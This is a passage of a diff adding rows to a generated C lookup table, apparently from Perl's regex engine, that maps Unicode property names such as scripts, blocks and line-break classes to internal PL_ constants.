+ { 3, 8240, 8825, 3, 3, PL_BC__PDF } /* bc=pdf */,
+ { 0, 5583, 7768, 13, 2, -PL_QMARK } /* quotationmark=f */,
+ { 4, 2541, 0, 19, 0, PL_JAMOEXTA } /* hanguljamoextendeda */,
+ { 0, 4074, 6486, 15, 8, PL__PERL_CHARNAME_CONTINUE } /* _perl_charname_continue */,
+ { 33, 7798, 7768, 6, 6, -PL_COMPEX } /* compex=false */,
+ { 0, 1886, 0, 2, 0, PL_NL } /* nl */,
+ { 2, 2859, 8831, 18, 3, PL_DT__SML } /* decompositiontype=sml */,
+ { 9, 249, 2777, 5, 5, PL_CCC__A } /* _combabove */,
+ { 6, 8196, 7756, 4, 1, PL_AGE__9 } /* age=9 */,
+ { 5, 4590, 7768, 2, 2, -PL_VS } /* vs=f */,
+ { 0, 8096, 7312, 4, 4, PL_TAGB } /* scx=tagb */,
+ { 0, 7288, 8492, 7, 4, PL_RUNR } /* script=runr */,
+ { 6, 7136, 8106, 6, 5, PL_INTAILE } /* block=taile */,
+ { 10, 7136, 750, 6, 29, PL_ENCLOSEDIDEOGRAPHICSUP } /* block=enclosedideographicsupplement */,
+ { 1, 6890, 283, 4, 33, PL_MISCMATHSYMBOLSA } /* blk=miscellaneousmathematicalsymbolsa */,
+ { 0, 6263, 5753, 10, 4, PL_LB__GL } /* linebreak=glue */,
+ { 1, 8096, 8324, 4, 4, PL_HMNG } /* scx=hmng */,
+ { 1, 7288, 8304, 7, 4, PL_SC__GUJR } /* script=gujr */,
+ { 0, 2465, 0, 19, 0, PL_COUNTINGROD } /* countingrodnumerals */,
+ { 1, 8006, 7997, 5, 2, PL_CWKCF } /* cwkcf=y */,
+ { 2, 1929, 7768, 9, 2, -PL_XPOSIXUPPER } /* uppercase=f */,
+ { 0, 6586, 0, 10, 0, PL_CJKSTROKES } /* cjkstrokes */,
+ { 0, 8096, 2409, 5, 5, PL_BRAH } /* scx=brahmi */,
+ { 2, 8504, 34, 3, 2, PL_SB__EX } /* sb=ex */,
+ { 3, 1981, 0, 11, 0, PL_CYRILLICSUP } /* cyrillicsup */,
+ { 0, 8344, 18, 3, 1, PL_JT__R } /* jt=r */,
+ { 0, 4542, 8107, 3, 4, PL_TALE } /* istaile */,
+ { 20, 8344, 6656, 3, 10, PL_JT__U } /* jt=nonjoining */,
+ { 2, 3526, 7951, 17, 5, PL_RI } /* regionalindicator=true */,
+ { 3, 5657, 7997, 5, 4, PL_BIDIM } /* bidim=yes */,
+ { 2, 8376, 2440, 3, 2, PL_LB__BA } /* lb=ba */,
+ { 0, 3129, 8348, 17, 4, PL_KALI } /* scriptextensions=kali */,
+ { 0, 8016, 4047, 4, 3, PL_LB__H3 } /* gcb=lvt */,
+ { 0, 1887, 7951, 9, 5, PL_XPOSIXLOWER } /* lowercase=true */,
+ { 3, 2107, 0, 4, 0, PL_SINH } /* sinh */,
+ { 9, 21, 1107, 2, 26, PL_KATAKANAEXT } /* inkatakanaphoneticextensions */,
+ { 2, 184, 114, 3, 24, PL_DIACRITICALS } /* iscombiningdiacriticalmarks */,
+ { 0, 3237, 0, 10, 0, PL_ALCHEMICAL } /* alchemical */,
+ { 7, 7459, 6008, 3, 4, PL_HUNG } /* sc=hung */,
+ { 1, 8376, 807, 3, 2, PL_LB__SP } /* lb=sp */,
+ { 0, 8276, 7997, 4, 2, PL_CWCM } /* cwcm=y */,
+ { 0, 8096, 7646, 4, 7, PL_TAVT } /* scx=taiviet */,
+ { 5, 8086, 0, 5, 0, PL_QMARK } /* qmark */,
+ { 16, 184, 1001, 2, 27, PL_ENCLOSEDCJK } /* isenclosedcjklettersandmonths */,
+ { 1, 7611, 0, 4, 0, PL_SOYO } /* soyo */,
+ { 1, 3424, 7997, 17, 4, PL_IDSB } /* idsbinaryoperator=yes */,
+ { 0, 2100, 7009, 4, 7, PL_ITAL } /* isolditalic */,
+ { 2, 8096, 5777, 4, 6, PL_HEBR } /* scx=hebrew */,
+ { 1, 1658, 0, 19, 0, PL_CJKCOMPATIDEOGRAPHS } /* cjkcompatideographs */,
+ { 0, 7459, 7822, 3, 4, PL_HATR } /* sc=hatr */,
+ { 1, 6890, 7043, 4, 9, PL_INPAUCINHAU } /* blk=paucinhau */,
+ { 1, 2750, 7997, 19, 4, PL_TERM } /* terminalpunctuation=yes */,
+ { 4, 8096, 8456, 4, 4, PL_OSGE } /* scx=osge */,
+ { 6, 1206, 2117, 3, 3, PL_INTHAI } /* inthai */,
+ { 0, 1448, 7621, 5, 4, PL_SUPPUAA } /* insuppuaa */,
+ { 0, 6706, 8858, 10, 3, PL_IN__4 } /* presentin=v40 */,
+ { 7, 6890, 5414, 4, 13, PL_LOWSURROGATES } /* blk=lowsurrogates */,
+ { 0, 6713, 6796, 3, 10, PL_AGE__NA } /* in=unassigned */,
+ { 2, 7136, 2814, 6, 9, PL_HALFMARKS } /* block=halfmarks */,
+ { 0, 7344, 7997, 8, 2, PL_XIDS } /* xidstart=y */,
+ { 1, 8816, 7750, 3, 1, PL_NV__8 } /* nv=8 */,
+ { 2, 184, 8002, 3, 4, PL_XPOSIXCNTRL } /* iscntrl */,
+ { 1, 1448, 3995, 3, 5, PL_INSYRIAC } /* insyriac */,
+ { 1, 7136, 1209, 6, 25, PL_SUPERANDSUB } /* block=superscriptsandsubscripts */,
+ { 0, 6890, 2560, 4, 19, PL_JAMOEXTB } /* blk=hanguljamoextendedb */,
+ { 8, 7429, 0, 7, 0, PL_DSRT } /* deseret */,
+ { 1, 7288, 8232, 7, 4, PL_AVST } /* script=avst */,
+ { 0, 5544, 7710, 13, 1, PL_NV__6 } /* numericvalue=6 */,
+ { 2, 184, 3770, 2, 16, PL_LINEARBSYLLABARY } /* islinearbsyllabary */,
+ { 0, 3129, 8380, 17, 4, PL_LINA } /* scriptextensions=lina */,
+ { 5, 7288, 7513, 7, 7, PL_SC__MAND } /* script=mandaic */,
+ { 16, 1448, 2108, 3, 20, PL_SINHALAARCHAICNUMBERS } /* insinhalaarchaicnumbers */,
+ { 12, 7459, 6676, 3, 10, PL_XPEO } /* sc=oldpersian */,
+ { 8, 4464, 8256, 4, 4, PL_DT__CAN } /* nfdqc=no */,
+ { 4, 468, 0, 11, 0, PL_P } /* punctuation */,
+ { 1, 21, 3441, 2, 17, PL_LETTERLIKESYMBOLS } /* inletterlikesymbols */,
+ { 0, 7696, 3581, 6, 2, PL_XPOSIXSPACE } /* wspace=t */,
+ { 1, 7136, 78, 6, 6, PL_INARABIC } /* block=arabic */,
+ { 12, 8101, 7997, 5, 2, PL_STERM } /* sterm=y */,
+ { 1, 5544, 8618, 13, 3, PL_NV__1_SLASH_5 } /* numericvalue=1/5 */,
+ { 2, 6890, 8126, 4, 5, PL_VSSUP } /* blk=vssup */,
+ { 0, 1202, 7997, 3, 2, PL_DEP } /* dep=y */,
+ { 9, 8816, 8674, 3, 2, PL_NV__42 } /* nv=42 */,
+ { 2, 3994, 0, 6, 0, PL_SYRC } /* syriac */,
+ { 0, 5544, 7744, 13, 3, PL_NV__700 } /* numericvalue=700 */,
+ { 1, 6890, 8071, 4, 5, PL_INOSAGE } /* blk=osage */,
+ { 7, 7478, 3995, 3, 8, PL_SYRIACSUP } /* issyriacsup */,
+ { 1, 184, 2788, 3, 3, PL_CHER } /* ischer */,
+ { 3, 6706, 8738, 10, 3, PL_IN__5_DOT_2 } /* presentin=5.2 */,
+ { 0, 184, 18, 2, 2, PL_RI } /* isri */,
+ { 0, 8096, 3611, 5, 3, PL_BOPO } /* scx=bopo */,
+ { 0, 8026, 3165, 5, 10, PL_INPC__TOPANDLEFT } /* inpc=topandleft */,
+ { 0, 3111, 0, 18, 0, PL_RUMI } /* ruminumeralsymbols */,
+ { 0, 8248, 4524, 4, 4, PL_BPT__O } /* bpt=open */,
+ { 0, 3129, 8556, 17, 4, PL_THAI } /* scriptextensions=thai */,
+ { 67, 4063, 7431, 4, 5, PL_DSRT } /* indeseret */,
+ { 0, 1417, 699, 9, 6, PL_N } /* category=number */,
+ { 0, 3373, 8, 15, 1, PL_EA__A } /* eastasianwidth=a */,
+ { 0, 6546, 0, 10, 0, PL_ASCII } /* basiclatin */,
+ { 15, 6263, 2284, 10, 2, PL_LB__HL } /* linebreak=hl */,
+ { 1, 6890, 4104, 4, 5, PL_INBAMUM } /* blk=bamum */,
+ { 0, 6713, 8759, 3, 3, PL_IN__7 } /* in=7.0 */,
+ { 3, 7288, 7653, 7, 7, PL_TIBT } /* script=tibetan */,
+ { 33, 7288, 2484, 7, 4, PL_EGYP } /* script=egyp */,
+ { 24, 7380, 8646, 7, 2, PL_CCC__29 } /* ccc=ccc29 */,
+ { 23, 1503, 3391, 3, 10, PL_ETHIOPICEXT } /* inethiopicext */,
+ { 5, 6647, 958, 4, 2, PL_CAKM } /* iscakm */,
+ { 1, 6890, 4813, 4, 14, PL_KANASUP } /* blk=kanasupplement */,
+ { 0, 7136, 5245, 6, 5, PL_ASCII } /* block=ascii */,
+ { 2, 1918, 7768, 21, 6, -PL_CWU } /* changeswhenuppercased=false */,
+ { 0, 7459, 8320, 3, 4, PL_HLUW } /* sc=hluw */,
+ { 3, 8816, 8168, 3, 4, PL_NV__17_SLASH_2 } /* nv=17/2 */,
+ { 1, 415, 0, 11, 0, PL_IDEO } /* ideographic */,
+ { 0, 7380, 8164, 4, 2, PL_CCC__15 } /* ccc=15 */,
+ { 1, 3129, 2249, 17, 10, PL_GLAG } /* scriptextensions=glagolitic */,
+ { 1, 5544, 7732, 13, 3, PL_NV__500 } /* numericvalue=500 */,
+ { 1, 2229, 8939, 16, 2, PL_ZP } /* generalcategory=zp */,
+ { 3, 1746, 0, 23, 0, PL_GCB__SM } /* graphemeclusterbreak=sm */,
+ { 1, 974, 5219, 27, 2, PL_CCC__10 } /* canonicalcombiningclass=ccc10 */,
+ { 1, 5192, 3004, 3, 17, PL_PI } /* isinitialpunctuation */,
+ { 0, 4554, 34, 14, 2, PL_SB__EX } /* sentencebreak=ex */,
+ { 2, 8572, 5753, 3, 12, PL_WB__GAZ } /* wb=glueafterzwj */,
+ { 0, 7478, 2750, 3, 4, PL_STERM } /* issterm */,
+ { 0, 6890, 5717, 4, 12, PL_ETHIOPICEXTA } /* blk=ethiopicexta */,
+ { 1, 7288, 2044, 7, 11, PL_MTEI } /* script=meeteimayek */,
+ { 40, 1402, 1704, 4, 10, PL_DIACRITICALS } /* indiacriticals */,
+ { 1, 218, 6472, 4, 4, PL_POSIXWORD } /* perlword */,
+ { 8, 6890, 7870, 4, 6, PL_INLEPCHA } /* blk=lepcha */,
+ { 0, 8584, 0, 4, 0, PL_XSUX } /* xsux */,
+ { 2, 7459, 8300, 3, 4, PL_SC__GREK } /* sc=grek */,
+ { 1, 8096, 8436, 4, 4, PL_NSHU } /* scx=nshu */,
+ { 0, 3129, 8360, 17, 4, PL_KTHI } /* scriptextensions=kthi */,
+ { 12, 3129, 3566, 17, 11, PL_SGNW } /* scriptextensions=signwriting */,
+ { 0, 5544, 8862, 13, 2, PL_NV__41 } /* numericvalue=41 */,
+ { 0, 7459, 7120, 3, 8, PL_BALI } /* sc=balinese */,
+ { 27, 7689, 3596, 4, 7, PL_ARABICSUP } /* isarabicsup */,
+ { 0, 7288, 6980, 7, 9, PL_NBAT } /* script=nabataean */,
+ { 3, 5583, 7997, 13, 4, PL_QMARK } /* quotationmark=yes */,
+ { 10, 21, 948, 3, 26, PL_ANCIENTGREEKMUSIC } /* inancientgreekmusicalnotation */,
+ { 3, 184, 3690, 2, 16, PL_PF } /* isfinalpunctuation */,
+ { 0, 5544, 5219, 13, 5, PL_NV__10000 } /* numericvalue=10000 */,
+ { 0, 1503, 2896, 3, 10, PL_ETHIOPICSUP } /* inethiopicsup */,
+ { 0, 7136, 5388, 6, 13, PL_KANAEXTA } /* block=kanaextendeda */,
+ { 0, 96, 0, 10, 0, PL_XPOSIXALPHA } /* alphabetic */,
+ { 1, 7, 0, 18, 0, PL_CANS } /* canadianaboriginal */,
+ { 5, 6890, 3147, 4, 11, PL_TAIXUANJING } /* blk=taixuanjing */,
+ { 4, 3882, 0, 7, 0, PL_MYMR } /* myanmar */,
+ { 0, 184, 7409, 3, 6, PL_CJKEXTD } /* iscjkextd */,
+ { 5, 8101, 3223, 5, 3, -PL_STERM } /* sterm=no */,
+ { 1, 1417, 3005, 11, 16, PL_PI } /* category=initialpunctuation */,
+ { 0, 8376, 4194, 3, 15, PL_LB__CB } /* lb=contingentbreak */,
+ { 1, 1417, 5079, 9, 14, PL_MN } /* category=nonspacingmark */,
+ { 0, 7136, 2560, 6, 19, PL_JAMOEXTB } /* block=hanguljamoextendedb */,
+ { 28, 7380, 8655, 7, 2, PL_CCC__33 } /* ccc=ccc33 */,
+ { 0, 6329, 7096, 11, 8, PL_NT__NU } /* numerictype=numeric */,
+ { 5, 117, 1688, 4, 14, PL_INDICNUMBERFORMS } /* inindicnumberforms */,
+ { 2, 947, 0, 17, 0, PL_ANCIENTGREEKMUSIC } /* ancientgreekmusic */,
+ { 1, 7136, 836, 6, 28, PL_SUPPUAA } /* block=supplementaryprivateuseareaa */,
+ { 3, 1426, 5999, 22, 6, PL_LB__ZWJ } /* indicsyllabiccategory=joiner */,
+ { 25, 6890, 7144, 4, 8, PL_INBUGINESE } /* blk=buginese */,
+ { 4, 6676, 0, 10, 0, PL_XPEO } /* oldpersian */,
+ { 8, 3129, 4404, 17, 15, PL_MERC } /* scriptextensions=meroiticcursive */,
+ { 0, 34, 3223, 3, 2, -PL_EXT } /* ext=n */,
+ { 2, 1106, 0, 2, 0, PL_SK } /* sk */,
+ { 5, 974, 8740, 24, 2, PL_CCC__25 } /* canonicalcombiningclass=25 */,
+ { 0, 4404, 0, 15, 0, PL_MERC } /* meroiticcursive */,
+ { 1, 2229, 1306, 16, 13, PL_M } /* generalcategory=combiningmark */,
+ { 8, 974, 8703, 27, 2, PL_CCC__34 } /* canonicalcombiningclass=ccc34 */,
+ { 0, 184, 7272, 2, 8, PL_MAHJ } /* ismahajani */,
+ { 0, 7288, 4784, 7, 4, PL_CHAM } /* script=cham */,
+ { 1, 6890, 8368, 4, 3, PL_INLAO } /* blk=lao */,
+ { 5, 1929, 3581, 5, 2, PL_XPOSIXUPPER } /* upper=t */,
+ { 4, 1417, 1499, 9, 1, PL_Z } /* category=z */,
+ { 0, 8096, 7272, 4, 8, PL_MAHJ } /* scx=mahajani */,
+ { 4, 8011, 3075, 3, 18, PL_ZP } /* gc=paragraphseparator */,
+ { 4, 3965, 0, 13, 0, PL_MATHOPERATORS } /* mathoperators */,
+ { 0, 21, 3111, 2, 18, PL_RUMI } /* inruminumeralsymbols */,
+ { 1, 1929, 7768, 5, 2, -PL_XPOSIXUPPER } /* upper=f */,
+ { 0, 1417, 5323, 9, 13, PL_ME } /* category=enclosingmark */,
+ { 0, 8600, 0, 4, 0, PL_QAAI } /* zinh */,
+ { 0, 5544, 8771, 13, 3, PL_NV__9_SLASH_2 } /* numericvalue=9/2 */,
+ { 3, 8795, 893, 3, 17, PL_INVS } /* invariationselectors */,
+ { 0, 5544, 7744, 13, 4, PL_NV__7000 } /* numericvalue=7000 */,
+ { 24, 513, 0, 16, 0, PL_UIDEO } /* unifiedideograph */,
+ { 0, 7457, 4715, 5, 14, PL_INSC__CONSONANTFINAL } /* insc=consonantfinal */,
+ { 10, 1585, 0, 4, 0, PL_JAMO } /* jamo */,
+ { 25, 7513, 0, 7, 0, PL_MAND } /* mandaic */,
+ { 0, 2949, 0, 18, 0, PL_INPUNCTUATION } /* generalpunctuation */,
+ { 0, 7459, 7450, 3, 7, PL_SC__HANO } /* sc=hanunoo */,
+ { 1, 76, 7088, 2, 8, PL_XPOSIXDIGIT } /* nt=decimal */,
+ { 0, 2859, 8834, 18, 3, PL_DT__SQR } /* decompositiontype=sqr */,
+ { 2, 6472, 18, 10, 2, PL_RI } /* wordbreak=ri */,
+ { 6, 1426, 2189, 22, 20, PL_INSC__CONSONANTPLACEHOLDER } /* indicsyllabiccategory=consonantplaceholder */,
+ { 0, 494, 0, 3, 0, PL_HAN } /* han */,
+ { 0, 7459, 7611, 3, 4, PL_SOYO } /* sc=soyo */,
+ { 2, 7136, 183, 6, 34, PL_MISCPICTOGRAPHS } /* block=miscellaneoussymbolsandpictographs */,
+ { 0, 1133, 7768, 26, 6, -PL_PCM } /* prependedconcatenationmark=false */,
+ { 4, 5645, 8807, 10, 3, PL_BC__LRO } /* bidiclass=lro */,
+ { 5, 8572, 73, 3, 2, PL_LB__EM } /* wb=em */,
+ { 3, 7380, 8636, 4, 3, PL_CCC__107 } /* ccc=107 */,
+ { 10, 3994, 0, 16, 0, PL_SYRIACSUP } /* syriacsupplement */,
+ { 2, 6706, 8765, 10, 3, PL_IN__8 } /* presentin=8.0 */,
+ { 5, 6713, 8753, 3, 3, PL_IN__6_DOT_2 } /* in=6.2 */,
+ { 0, 6746, 0, 10, 0, PL_SMALLFORMS } /* smallforms */,
+ { 2, 5250, 3223, 8, 2, -PL_XPOSIXXDIGIT } /* hexdigit=n */,
+ { 1, 8508, 7871, 4, 5, PL_LEPC } /* sc=lepcha */,
+ { 5, 8504, 235, 3, 2, PL_SB__LO } /* sb=lo */,
+ { 5, 5645, 8825, 10, 3, PL_BC__PDF } /* bidiclass=pdf */,
+ { 4, 7288, 6806, 7, 4, PL_WARA } /* script=wara */,
+ { 6, 7478, 2108, 3, 20, PL_SINHALAARCHAICNUMBERS } /* issinhalaarchaicnumbers */,
+ { 0, 5765, 3223, 12, 3, -PL_GRBASE } /* graphemebase=no */,
+ { 25, 513, 3223, 16, 3, -PL_UIDEO } /* unifiedideograph=no */,
+ { 0, 3129, 7991, 17, 5, PL_BUHD } /* scriptextensions=buhid */,
+ { 1, 2674, 0, 19, 0, PL_SUNDANESESUP } /* sundanesesupplement */,
+ { 0, 7136, 3021, 6, 9, PL_LATINEXTA } /* block=latinexta */,
+ { 4, 3526, 7768, 17, 2, -PL_RI } /* regionalindicator=f */,
+ { 0, 7136, 4209, 6, 15, PL_CONTROLPICTURES } /* block=controlpictures */,
+ { 21, 7471, 1929, 7, 5, PL_POSIXUPPER } /* isposixupper */,
+ { 0, 5765, 3223, 12, 2, -PL_GRBASE } /* graphemebase=n */,
+ { 0, 7136, 6547, 7, 9, PL_ASCII } /* block=basiclatin */,
+ { 0, 7288, 8408, 7, 3, PL_MRO } /* script=mro */,
+ { 1, 3129, 8524, 17, 4, PL_SHRD } /* scriptextensions=shrd */,
+ { 2, 7478, 3567, 3, 10, PL_SGNW } /* issignwriting */,
+ { 0, 7459, 7312, 3, 4, PL_SC__TAGB } /* sc=tagb */,
+ { 0, 4314, 5, 13, 1, PL_JG__E } /* joininggroup=e */,
+ { 19, 184, 235, 2, 2, PL_LO } /* islo */,
+ { 0, 217, 1392, 6, 9, PL_CS } /* _perl_surrogate */,
+ { 27, 4314, 7304, 13, 8, PL_JG__SWASHKAF } /* joininggroup=swashkaf */,
+ { 0, 1358, 0, 20, 0, PL_CE } /* compositionexclusion */,
+ { 0, 2229, 4599, 16, 15, PL_LU } /* generalcategory=uppercaseletter */,
+ { 3, 4799, 0, 14, 0, PL_HIGHSURROGATES } /* highsurrogates */,
+ { 15, 21, 6806, 2, 10, PL_INWARANGCITI } /* inwarangciti */,
+ { 0, 7478, 6292, 3, 3, PL_SAMR } /* issamr */,
+ { 2, 184, 6241, 2, 11, PL_KATAKANAEXT } /* iskatakanaext */,
+ { 3, 8240, 2579, 3, 19, PL_BC__LRO } /* bc=lefttorightoverride */,
+ { 0, 7288, 7248, 7, 4, PL_SC__JAVA } /* script=java */,
+ { 2, 4198, 1545, 4, 21, PL_GEOMETRICSHAPESEXT } /* ingeometricshapesextended */,
+ { 0, 7288, 494, 7, 3, PL_SC__HAN } /* script=han */,
+ { 0, 2985, 0, 18, 0, PL_IDST } /* idstrinaryoperator */,
+ { 0, 2023, 7768, 21, 2, -PL_LOE } /* logicalorderexception=f */,
+ { 1, 25, 0, 1, 0, PL_S } /* s */,
+ { 2, 7798, 3581, 6, 2, PL_COMPEX } /* compex=t */,
+ { 0, 2023, 7951, 21, 5, PL_LOE } /* logicalorderexception=true */,
+ { 11, 8816, 7756, 3, 4, PL_NV__9000 } /* nv=9000 */,
+ { 1, 6890, 7025, 4, 9, PL_INOLDTURKIC } /* blk=oldturkic */,
+ { 1, 8348, 0, 4, 0, PL_KALI } /* kali */,
+ { 4, 8816, 8899, 3, 2, PL_NV__35 } /* nv=35 */,
+ { 1, 8376, 5777, 3, 12, PL_LB__HL } /* lb=hebrewletter */,
+ { 2, 1474, 5488, 22, 4, PL_BPT__N } /* bidipairedbrackettype=none */,
+ { 1, 58, 7997, 4, 2, PL_IDEO } /* ideo=y */,
+ { 4, 6554, 4105, 3, 4, PL_INBAMUM } /* inbamum */,
+ { 1, 5375, 18, 12, 1, PL_JT__R } /* joiningtype=r */,
+ { 0, 6890, 250, 4, 33, PL_DIACRITICALSEXT } /* blk=combiningdiacriticalmarksextended */,
+ { 1, 7136, 7320, 6, 8, PL_INTIFINAGH } /* block=tifinagh */,
+ { 0, 84, 3223, 4, 3, -PL_MATH } /* math=no */,
+ { 4, 7380, 8642, 4, 3, PL_CCC__122 } /* ccc=122 */,
+ { 3, 6472, 6962, 10, 9, PL_WB__ML } /* wordbreak=midletter */,
+ { 10, 974, 6836, 24, 9, PL_CCC__AL } /* canonicalcombiningclass=aboveleft */,
+ { 2, 8376, 8929, 3, 2, PL_GCB__V } /* lb=jv */,
+ { 1, 6890, 42, 4, 3, PL_CJK } /* blk=cjk */,
+ { 18, 1417, 2088, 9, 2, PL_PD } /* category=pd */,
+ { 0, 7471, 5253, 7, 5, PL_POSIXDIGIT } /* isposixdigit */,
+ { 0, 1354, 0, 24, 0, PL_COMPEX } /* fullcompositionexclusion */,
+ { 1, 3129, 8300, 17, 4, PL_GREK } /* scriptextensions=grek */,
+ { 12, 2750, 7997, 19, 2, PL_TERM } /* terminalpunctuation=y */,
+ { 1, 8508, 8047, 4, 3, PL_SC__LIMB } /* sc=limb */,
+ { 0, 21, 8368, 2, 3, PL_INLAO } /* inlao */,
+ { 6, 7459, 2877, 3, 4, PL_SC__DEVA } /* sc=deva */,
+ { 0, 3129, 2877, 17, 10, PL_DEVA } /* scriptextensions=devanagari */,
+ { 2, 974, 8673, 24, 2, PL_CCC__14 } /* canonicalcombiningclass=14 */,
+ { 0, 184, 251, 3, 32, PL_DIACRITICALSEXT } /* iscombiningdiacriticalmarksextended */,
+ { 1, 8795, 5597, 3, 12, PL_VERTICALFORMS } /* inverticalforms */,
+ { 0, 6890, 1960, 4, 21, PL_CJKRADICALSSUP } /* blk=cjkradicalssupplement */,
+ { 5, 184, 1982, 3, 17, PL_CYRILLICSUP } /* iscyrillicsupplement */,
+ { 0, 6713, 8870, 3, 3, PL_IN__5_DOT_2 } /* in=v52 */,
+ { 0, 6613, 975, 3, 3, PL_HANO } /* ishano */,
+ { 0, 7136, 510, 6, 20, PL_CJK } /* block=cjkunifiedideographs */,
+ { 16, 974, 8690, 24, 3, PL_CCC__AL } /* canonicalcombiningclass=228 */,
+ { 0, 8508, 7883, 4, 5, PL_LYDI } /* sc=lydian */,
+ { 3, 2023, 3581, 21, 2, PL_LOE } /* logicalorderexception=t */,
+ { 0, 6890, 2465, 4, 19, PL_COUNTINGROD } /* blk=countingrodnumerals */,
+ { 0, 6483, 3223, 11, 3, -PL_XIDC } /* xidcontinue=no */,
+ { 17, 1206, 7633, 3, 6, PL_INTAGALOG } /* intagalog */,
+ { 0, 3594, 0, 16, 0, PL_ARABICSUP } /* arabicsupplement */,
+ { 28, 2100, 6678, 4, 8, PL_XPEO } /* isoldpersian */,
+ { 3, 8816, 8640, 3, 2, PL_NV__18 } /* nv=18 */,
+ { 0, 7459, 8280, 3, 4, PL_SC__CYRL } /* sc=cyrl */,
+ { 4, 974, 6142, 24, 11, PL_CCC__DB } /* canonicalcombiningclass=doublebelow */,
+ { 0, 21, 3021, 2, 9, PL_LATINEXTA } /* inlatinexta */,
+ { 0, 2221, 7671, 3, 3, PL_HST__NA } /* hst=na */,
+ { 1, 5375, 24, 12, 1, PL_JT__L } /* joiningtype=l */,
+ { 7, 6706, 8726, 10, 3, PL_IN__4_DOT_1 } /* presentin=4.1 */,
+ { 0, 4757, 7997, 14, 4, PL_GREXT } /* graphemeextend=yes */,
+ { 1, 6221, 4216, 9, 8, PL_CONTROLPICTURES } /* incontrolpictures */,
+ { 0, 7136, 7625, 6, 7, PL_SUPPUAB } /* block=suppuab */,
+ { 0, 4314, 6637, 14, 9, PL_JG__KNOTTEDHEH } /* joininggroup=knottedheh */,
+ { 0, 8196, 8732, 4, 3, PL_AGE__5 } /* age=5.0 */,
+ { 0, 7288, 8384, 7, 4, PL_SC__LINB } /* script=linb */,
+ { 12, 5657, 7951, 12, 5, PL_BIDIM } /* bidimirrored=true */,
+ { 0, 1887, 0, 5, 0, PL_XPOSIXLOWER } /* lower */,
+ { 0, 184, 7870, 2, 6, PL_LEPC } /* islepcha */,
+ { 0, 7288, 7208, 7, 8, PL_SC__HIRA } /* script=hiragana */,
+ { 0, 6263, 8923, 10, 2, PL_LB__H2 } /* linebreak=h2 */,
+ { 1, 21, 6980, 2, 9, PL_INNABATAEAN } /* innabataean */,
+ { 0, 8376, 8935, 3, 2, PL_LB__XX } /* lb=xx */,
+ { 2, 184, 4827, 2, 6, PL_KANGXI } /* iskangxi */,
+ { 3, 5544, 7702, 13, 5, PL_NV__20000 } /* numericvalue=20000 */,
+ { 3, 8340, 2437, 3, 9, PL_JG__YEHBARREE } /* jg=yehbarree */,
+ { 2, 7380, 8899, 7, 2, PL_CCC__35 } /* ccc=ccc35 */,
+ { 4, 7459, 7019, 3, 4, PL_SC__PERM } /* sc=perm */,
+ { 0, 6329, 7762, 11, 6, PL_NT__DI } /* numerictype=digit */,
+ { 1, 5933, 0, 12, 0, PL_GONM } /* masaramgondi */,
+ { 0, 8816, 8136, 3, 4, PL_NV___MINUS_1_SLASH_2 } /* nv=-1/2 */,
+ { 2, 1876, 7951, 21, 5, PL_CWL } /* changeswhenlowercased=true */,
+ { 1, 7136, 7846, 6, 6, PL_INKAITHI } /* block=kaithi */,
+ { 0, 7380, 8703, 4, 2, PL_CCC__34 } /* ccc=34 */,
+ { 0, 5544, 8899, 13, 2, PL_NV__35 } /* numericvalue=35 */,
+ { 0, 7136, 3322, 6, 17, PL_CYRILLICEXTA } /* block=cyrillicextendeda */,
+ { 8, 8196, 8723, 4, 3, PL_AGE__4 } /* age=4.0 */,
+ { 6, 8780, 7768, 3, 2, -PL_CWT } /* cwt=f */,
+ { 1, 1417, 74, 9, 2, PL_ME } /* category=me */,
+ { 15, 8520, 0, 4, 0, PL_SHAW } /* shaw */,
+ { 1, 8340, 4374, 3, 15, PL_JG__MANICHAEANSADHE } /* jg=manichaeansadhe */,
+ { 0, 2229, 48, 16, 1, PL_P } /* generalcategory=p */,
+ { 0, 8111, 0, 4, 0, PL_TAKR } /* takr */,
+ { 0, 6263, 4701, 10, 14, PL_LB__SA } /* linebreak=complexcontext */,
+ { 1, 8504, 496, 3, 7, PL_LB__NU } /* sb=numeric */,
+ { 3, 7457, 5993, 5, 12, PL_INSC__NUMBERJOINER } /* insc=numberjoiner */,
+ { 46, 8096, 8432, 4, 3, PL_NKO } /* scx=nko */,
+ { 3, 184, 7248, 2, 8, PL_JAVA } /* isjavanese */,
+ { 0, 7459, 3288, 3, 17, PL_AGHB } /* sc=caucasianalbanian */,
+ { 0, 8816, 5219, 3, 6, PL_NV__100000 } /* nv=100000 */,
+ { 4, 6713, 8152, 3, 4, PL_IN__10 } /* in=10.0 */,
+ { 8, 7828, 3581, 6, 2, PL_HYPHEN } /* hyphen=t */,
+ { 3, 7840, 1479, 3, 2, PL_VAI } /* isvai */,
+ { 133, 7288, 7646, 7, 7, PL_TAVT } /* script=taiviet */,
+ { 13, 8096, 7870, 4, 6, PL_LEPC } /* scx=lepcha */,
+ { 0, 21, 7360, 3, 6, PL_INAVESTAN } /* inavestan */,
+ { 1, 8096, 7876, 4, 6, PL_LYCI } /* scx=lycian */,
+ { 0, 7632, 0, 7, 0, PL_TGLG } /* tagalog */,
+ { 1, 1448, 2676, 4, 10, PL_SUNDANESESUP } /* insundanesesup */,
+ { 2, 6706, 8891, 10, 3, PL_IN__9 } /* presentin=v90 */,
+ { 16, 184, 8360, 2, 4, PL_KTHI } /* iskthi */,
+ { 35, 6890, 6736, 4, 10, PL_INSAURASHTRA } /* blk=saurashtra */,
+ { 1, 7136, 5801, 6, 5, PL_INKHMER } /* block=khmer */,
+ { 2, 1402, 3165, 24, 18, PL_INPC__TOPANDLEFTANDRIGHT } /* indicpositionalcategory=topandleftandright */,
+ { 0, 8096, 5825, 4, 4, PL_MAHJ } /* scx=mahj */,
+ { 0, 415, 7768, 11, 6, -PL_IDEO } /* ideographic=false */,
+ { 0, 218, 0, 2, 0, PL_PE } /* pe */,
+ { 0, 5645, 3093, 10, 18, PL_BC__RLI } /* bidiclass=righttoleftisolate */,
+ { 17, 7226, 5252, 6, 6, PL_XPOSIXXDIGIT } /* xposixxdigit */,
+ { 0, 6890, 6872, 4, 9, PL_ARABICPFB } /* blk=arabicpfb */,
+ { 0, 8096, 1589, 4, 5, PL_LATN } /* scx=latin */,
+ { 34, 1402, 4629, 24, 15, PL_LOE } /* indicpositionalcategory=visualorderleft */,
+ { 10, 6263, 8344, 10, 2, PL_GCB__T } /* linebreak=jt */,
+ { 2, 6890, 4284, 4, 15, PL_INHANGUL } /* blk=hangulsyllables */,
+ { 3, 96, 3223, 5, 3, -PL_XPOSIXALPHA } /* alpha=no */,
